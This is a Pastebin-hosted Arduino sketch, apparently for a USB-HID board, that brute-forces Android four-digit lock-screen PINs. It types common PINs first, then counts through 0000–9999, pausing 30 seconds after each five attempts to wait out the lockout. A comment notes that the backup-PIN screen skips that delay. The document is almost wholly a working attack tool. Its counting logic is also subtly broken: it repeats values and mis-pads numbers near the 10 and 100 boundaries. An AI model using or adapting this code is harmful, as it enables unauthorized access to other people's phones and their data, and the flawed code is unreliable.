document.write('
Data hosted with ♥ by Pastebin.com - Download Raw - See Original
  1. /*
  2. Brute forcing Android 4 Digit PIN\'s
  3. To run the whole range it will take upwards of 16 hours because of
  4. the 30 second delay after 5 bad inputs
  5. Intrestingly, if the target phone has the pattern enabled
  6. and the backup PIN set, the backup PIN entry system doesn\'t force the 30 second delay after
  7. invalid attempts
  8. http://blog.infosecsee.com */
  9.  
  10. const int buttonPin = 2;          // input pin for pushbutton
  11. int previousButtonState = HIGH;   // for checking the state of a pushButton
  12. int counter = 0;                  // button push counter
  13. int check = 0;
  14.  
  15. void setup() {
  16.  
  17.   pinMode(buttonPin, INPUT);
  18.  
  19.   Keyboard.begin();
  20. }
  21.  
  22. void loop() {
  23.  
  24.   int buttonState = digitalRead(buttonPin);
  25.   if ((buttonState != previousButtonState) && (buttonState == HIGH)) {
  26.     Mouse.move(25, 50, 0);
  27.     String three = "000";
  28.     String two = "00";
  29.     String one = "0";
  30.  
  31.     while(counter < 10000){
  32.       delay(1000);
  33.       while (check < 1){
  34.                 Keyboard.println("1234");
  35.                 delay(500);
  36.                 Keyboard.println("1111");
  37.                 delay(500);
  38.                 Keyboard.println("0000");
  39.                 delay(500);
  40.                 Keyboard.println("1212");
  41.                 delay(500);
  42.                 Keyboard.println("7777");
  43.                 Keyboard.println("");
  44.                 Keyboard.println("");
  45.                 delay(30000);
  46.                 Mouse.move(25, 50, 0);
  47.                 Keyboard.println("1004");
  48.                 delay(500);
  49.                 Keyboard.println("2000");
  50.                 delay(500);
  51.                 Keyboard.println("4444");
  52.                 delay(500);
  53.                 Keyboard.println("2222");
  54.                 delay(500);
  55.                 Keyboard.println("6969");
  56.                 Keyboard.println("");
  57.                 Keyboard.println("");
  58.                 delay(30000);
  59.                 Mouse.move(25, 50, 0);
  60.                 Mouse.move(25, 50, 0);
  61.                 Keyboard.println("9999");
  62.                 delay(500);
  63.                 Keyboard.println("3333");
  64.                 delay(500);
  65.                 Keyboard.println("5555");
  66.                 delay(500);
  67.                 Keyboard.println("6666");
  68.                 delay(500);
  69.                 Keyboard.println("1122");
  70.                 Keyboard.println("");
  71.                 Keyboard.println("");
  72.                 delay(30000);
  73.                 Mouse.move(25, 50, 0);
  74.                 Keyboard.println("1313");
  75.                 delay(500);
  76.                 Keyboard.println("8888");
  77.                 delay(500);
  78.                 Keyboard.println("4321");
  79.                 delay(500);
  80.                 Keyboard.println("2001");
  81.                 delay(500);
  82.                 Keyboard.println("1010");
  83.                 delay(500);
  84.                 Keyboard.println("");
  85.                 Keyboard.println("");
  86.                 delay(30000);
  87.                 Mouse.move(25, 50, 0);
  88.                 check++;}
  89.       if (counter < 10 && check == 1) {
  90.  
  91.                 Keyboard.println(three + counter);
  92.                 delay(500);
  93.                 counter++;
  94.                 Keyboard.println(three + counter);
  95.                 delay(500);
  96.                 counter++;
  97.                 Keyboard.println(three + counter);
  98.                 delay(500);
  99.                 counter++;
  100.                 Keyboard.println(three + counter);
  101.                 delay(500);
  102.                 counter++;
  103.                 Keyboard.println(three + counter);
  104.                 delay(500);
  105.                 Keyboard.println("");
  106.                 Keyboard.println("");
  107.                 delay(30000);
  108.                 Mouse.move(25, 50, 0);
  109.                 }
  110.       else if (counter < 100){
  111.                 Keyboard.println(two + counter);
  112.                 delay(500);
  113.                 counter++;
  114.                 Keyboard.println(two + counter);
  115.                 delay(500);
  116.                 counter++;
  117.                 Keyboard.println(two + counter);
  118.                 delay(500);
  119.                 counter++;
  120.                 Keyboard.println(two + counter);
  121.                 delay(500);
  122.                 counter++;
  123.                 Keyboard.println(two + counter);
  124.                 delay(500);
  125.                 Keyboard.println("");
  126.                 Keyboard.println("");
  127.                 delay(30000);
  128.                 Mouse.move(25, 50, 0);
  129.                 }
  130.       else if (counter < 1000){
  131.                 Keyboard.println(one + counter);
  132.                 delay(500);
  133.                 counter++;
  134.                 Keyboard.println(one + counter);
  135.                 delay(500);
  136.                 counter++;
  137.                 Keyboard.println(one + counter);
  138.                 delay(500);
  139.                 counter++;
  140.                 Keyboard.println(one + counter);
  141.                 delay(500);
  142.                 counter++;
  143.                 Keyboard.println(one + counter);
  144.                 delay(500);
  145.                 Keyboard.println("");
  146.                 Keyboard.println("");
  147.                 delay(30000);
  148.                 Mouse.move(25, 50, 0);
  149.                 }
  150.       else {
  151.                 Keyboard.println(counter);
  152.                 delay(500);
  153.                 counter++;
  154.                 Keyboard.println(counter);
  155.                 delay(500);
  156.                 counter++;
  157.                 Keyboard.println(counter);
  158.                 delay(500);
  159.                 counter++;
  160.                 Keyboard.println(counter);
  161.                 delay(500);
  162.                 counter++;
  163.                 Keyboard.println(counter);
  164.                 delay(500);
  165.                 Keyboard.println("");
  166.                 Keyboard.println("");
  167.                 delay(30000);
  168.                 Mouse.move(25, 50, 0);
  169.                 }  
  170.     }      
  171.     }
  172.   previousButtonState = buttonState;
  173. }
');